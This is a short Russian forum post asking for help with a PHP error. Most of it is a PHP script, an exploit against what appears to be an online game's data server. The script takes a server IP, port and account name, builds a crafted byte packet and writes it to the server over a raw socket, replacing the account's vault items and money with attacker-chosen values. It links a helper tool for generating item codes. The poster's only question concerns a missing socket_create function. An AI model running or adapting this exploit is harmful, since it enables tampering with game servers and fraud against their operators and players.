трабл с php

toris

mw
Пользователь
9 Фев 2005
438
0
0
35
PHP:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
if (!isset($_POST['execute']))
{
	print('
Hello again, freaks =-). This script will attempt to patch your vault!! All you have to do, is find out server\'s IP, download <a href="http://kisssmy.as/itemproject.rar">itemproject.rar</a>, generate hexacode for items you want to place in vault and fill other fields.
<br /><br />
<font color="red">Please note: all of your items in vault will be erased on success and there will appear new items. Also there will be very many money :)))</font><br /><br />
<form action="' . $_SERVER['REQUEST_URI'] . '" method="post">
<input type="hidden" name="execute" value="true">
<table>
<tr>
<td align="left">Server IP</td><td align="left"><input type="text" name="ip" maxlength="15"></td>
</tr>
<tr>
<td align="left">Data Port</td><td align="left"><input type="text" name="port" value="55960" maxlength="5"></td>
</tr>
<tr>
<td align="left"><u>Account name</u></td><td align="left"><input type="text" name="acc" maxlength="10"></td>
</tr>
<tr>
<td align="left">Enter HEXA code, generated by itemproject.exe</td><td align="left">
<textarea rows="6" cols="60" name="code">
</textarea>
</td>
</tr>
<tr>
<td align="left" colspan="2"><input type="submit" value="Blast vault!"></td>
</tr>
</table>
</form>
');
die();
}

$serveraddr = $_POST['ip']; // Server IP or ISP address
$account = $_POST['acc']; // Character Name (char 10)
$port = $_POST['port']; // Data Server Port
// Vault Access Code
$vcode = Array();
$vcode["plus"] = "210";
$vcode["256"] = "4";
// Vault balance (MONEY)
$vmoney = Array();
$vmoney["plus"] = "0";
$vmoney["256"] = "0";
$vmoney["65536"] = "0";
$vmoney["16777216"] = "5";
// Vault Items HEXA CODE
//$vhouseitems = "11DC5F000000007F04DDFFFFFFFFFFFFFFFFFFFFF1DC5F0000  00007F04DDFFFFFFFFFFFFFFFFFFFF11DC5F00000000FF04DD  FFFFFFFFFFFFFFFFFFFF31DC5F00000000FF04DDFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF51DC5F0000  0000FF04DDFFFFFFFFFFFFFFFFFFFF71DC5F00000000FF04DD  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  85DC5F00000000FF04DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
$vhouseitems = $_POST['code'];
////////////////-\\\\\\\\\\\\\\\\\
/////////// PROGRAM! \\\\\\\\\\\\\
////////////////-\\\\\\\\\\\\\\\\\
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
if (!@socket_connect($socket, $serveraddr, $port))
{
	die("Unable to strike this server.\n");
}
$exploit = "194 4 200 9 ";
for ($i = 0; $i < strlen($account); $i++)
{
	$exploit .= ord(substr($account, $i, 1)) . " ";
}
for ($i = 10-strlen($account); $i > 0; $i--)
{
	$exploit .= "0 ";
}
$exploit .= "192 18 ";
$exploit .= $vmoney["plus"] . " ";
$exploit .= $vmoney["256"] . " ";
$exploit .= $vmoney["65536"] . " ";
$exploit .= $vmoney["16777216"] . " ";
$vitems = NULL;
$i = 0;
while ($i < strlen($vhouseitems))
{
	$vitems .= hexdec(substr($vhouseitems, $i, 2)) . " ";
	$i++;
	$i++;
}
$exploit .= $vitems;
$i = 0;
$exploit .= "255 255 255 255 255 255 255 255 ";
$exploit .= $vcode["plus"] . " ";
$exploit .= $vcode["256"] . " ";
$exploit .= "194 4 200 9 ";
for ($i = 0; $i < strlen($account); $i++)
{
	$exploit .= ord(substr($account, $i, 1)) . " ";
}
for ($i = 10-strlen($account); $i > 0; $i--)
{
	$exploit .= "0 ";
}
$exploit = substr($exploit, 0 , strlen($exploit)-1);
$charvar = explode(" ", $exploit);
$exploit = "\$exploit = ";
for ($i = 0; $i < count($charvar); $i++)
{
	$exploit .= "chr(" . $charvar[$i] . ") . ";
}
$exploit .= "chr(0) . chr(0) . chr(0)";
$exploit .= ";";
eval($exploit);
if (!@socket_write($socket, $exploit, strlen($exploit)))
{
	die("Unable to blast the server. Please retry!\n");
}

socket_close($socket);
print("Seems everything is ok. Go and check it out...\n");

?>
интерпретатор выдает
Fatal error: Call to undefined function socket_create() in x:\home\<censored>\www\v.php on line 65